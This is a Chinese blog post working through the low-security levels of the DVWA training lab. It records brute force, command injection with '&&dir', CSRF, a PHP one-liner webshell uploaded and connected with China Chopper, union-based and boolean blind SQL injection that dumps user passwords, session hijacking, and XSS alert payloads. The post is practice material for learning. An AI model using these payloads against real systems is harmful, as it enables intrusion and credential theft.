dvwa 初级练习

额额额,老忘记密码。。

有个方法:

本人是phpstudy,然后软件管理--sql——front5.3,登陆本地账户localhost,然后看admin的MD5,然后直接解密就行了.或者phpmyadmin

本来安装的中文的,但是乱码,在目录的地方改了utf-8,GBK,都不行,233333

低级的先干完

1.

image-20210623204914992

没有防御机制,并且使用SQL语句对数据库的user和password进行调用

成功是显示图片

直接对user字节进行万能密钥,对第一个user的调用语句闭合并且屏蔽后面的password

admin’ #

nm,不行,啊啊啊啊啊

赖浏览器。。。

也可以用bp,内容省略,爆破密码password,经典弱口令

2.

image-20210623213130498

stristr函数是string、serach、before_search,字符串在另一个字符串中的第一次出现,返回字符串的剩余部分,如果没有搜多到,就返回FASLE

php_uname(mode)

mode可取a,默认的,a包含序列里的所有的s n r v m 模式

s 返回操作系统名称

n返回主机名

r返回版本名称

v返回版本信息

m返回机器类型

通过判断,带两个语句,成功后就会执行下一个语句,并且最后一个是要注入的语句并执行dos命令

例如:IP地址&&dir

image-20210623213354455

3.

csrf利用未失效的信息接着认证

即直接利用受害者的视角

一因为之前在登录,有登陆凭证,根据url可知道,更改只要给受害者这个链接并且依据cookie向服务器发送伪造请求

image-20210623213828447

直接改就行了

但很**,会看到你改密码的提示

4.

image-20210623214425863

没有过滤,直接上

直接通过连接来获取路径

这样报错也出路径

通过路径可以上穿一句话

image-20210623214540648

远程试试尝试...

上传文件

   <?php 
   phpinfo();
   ?>

这是在利用本地的文件,进行查看php版本信息

image-20210624224342808

5.

image-20210623215351259

没有任何过滤,直接上传php一句话,就可以获取shell

image-20210623215418762

根据之前的报错信息可知上传路径的前两个名称

然后用菜刀

这个有点问题,一直以为是自己的问题。。。

emmm

要想连接成功,必须把php版本降低,例如5.3.29nts

然后注意目录路径

默认的路径是phpstudy_pro\WWW,只需要在www后面的地址添加到菜刀的路径..

然后根据地址添加

image-20210626102816085

7.sql注入

第一种方法

先确定列,再联合查询,输入1正常,然后加’来看是否报错,必须报错,都说了sql注入

check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

然后传参发现url是get请求,并且存在sql注入,在报错的同时构造payload

然后后期过滤

先从字段数1,2开始

1' union select 1,2#
#把后面的‘’‘的注释掉

再加一,报错

注入点最多两个不同的字段

关于Illegal mix of collations for operation 'UNION'

在phpmyadmin的dvwa的sql下执行两个语句就好了,一些转换问题

alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
1' union select database(),user()#
如果不出来,是因为后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果,可以在1前面加负号
//爆出数据库、用户名
根据sql语句,由数据库名,获取表
利用information_schema数据库获取当前数据库中存在的表
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。

image-20210630071028098

得到表admin、guestbook、users

然后通过table_name、table_schema来构造column查询

-1' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

image-20210630072237730

然后选择user和password再次构造

-1’union select password,user fromdvwa.users#

或者是

-1' union select user,password from users#

都可以

方法二

通过报错可知id是被“”包含住的,就再对1加一个单引号1‘’

在sql中--是注释所以也可以在1后面加--然后再加空格,这好像是规定。。。在url当中,可以使用“+”来代替“--”后面的空格

然后order by看列数

到第三行就报错,就没有第三行

image-20210630073312360

然后其他的一杨

8.瞎胡注

1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户...
看代码,只有两个回显结果。并且无论输入什么,只有两种结果

猜长度

1' and length(database())>5#

不对

1' and length(database())>3#

1' and length(database())=4#

正好

然后猜第一个字母

substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

1' and ascii(substr(database(),1,1))<100#

报错

1' and ascii(substr(database(),1,1))<101#

正常

看100的ascii为d

src=http---static.oschina.net-uploads-space-2015-0209-162531_2gLQ_617889.png&refer=http---static.oschina

常规可能用到的字符的ASCII码取值范围:[48,122]

然后依次把substr的num start的数字变化(2、3、4)后面的1不变,然后猜

获得数据库dvwa。。这个太搞人心态

传个参考布尔链接:

https://www.jianshu.com/p/757626cec742

https://blog.csdn.net/hclimg/article/details/96991855

9.弱会话

session id为特定用户访问站点所需要的唯一内容如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作

SessionID一旦在生命周期内被窃取,就等同于账户失窃

SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权

限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用

了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持

参考链接:https://blog.csdn.net/weixin_40950781/article/details/99933784

点了啥也不显示,bp抓包

然后利用hacker伪造

image-20210630090958952

10.基于DOM的跨站点脚本(XSS)

以前看过类似的文章,就先改url的english

这种攻击也属于反射型XSS。它利用了Web页面的文档对象模型(Document ObjectModel,DOM)的特性来执行脚本。因此DOM型XSS不经过服务器端,只发生在客户端。

源代码直接过。。

<script>alert('chenyouxiu')</script>

image-20210630091726263

11.反射跨站点脚本(XSS)

看代码,知道了没有过滤,只要不为空就行,尝试插入

image-20210630092650863

12.存储式xss

可以将用户有用的信息存储起来,无需诱导,只要访问网站,就会触发。更隐蔽。

trim
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
is_object
检测变量是否是一个对象
mysqli_real_escape_string() 
转义在 SQL 语句中使用的字符串中的特殊字符
太多了,看不完,应该没过滤

直接name上,但需要控制台改长度,那就内容里把

<script>alert(‘chenyouxiu’)</script>

image-20210630093900732

name的改方法dddd

13.cps

浏览器的安全策略,服务器的http头中有Content-Security-Policy 标签

script-src,脚本:只信任当前域名

没成功,可能没挂外网,代码里的也不行,离谱。。。

14.JavaScript Attacks

输入successs没成功。。

看代码

发现value加密

md5(rot13(phrase))

从内向外解密

思路错了。。

直接在控制台

image-20210630101142810

然后替换value得值

image-20210630101210421

再输入success

image-20210630101415512

总结

做了好几天,边看资料边学的,自己对许多知识点都不掌握,继续努力,还得练习sql注入方面的,过一段时间提升自己再做中等的

posted @ 2021-06-30 10:17  testadm1n  阅读(179)  评论(0)    收藏  举报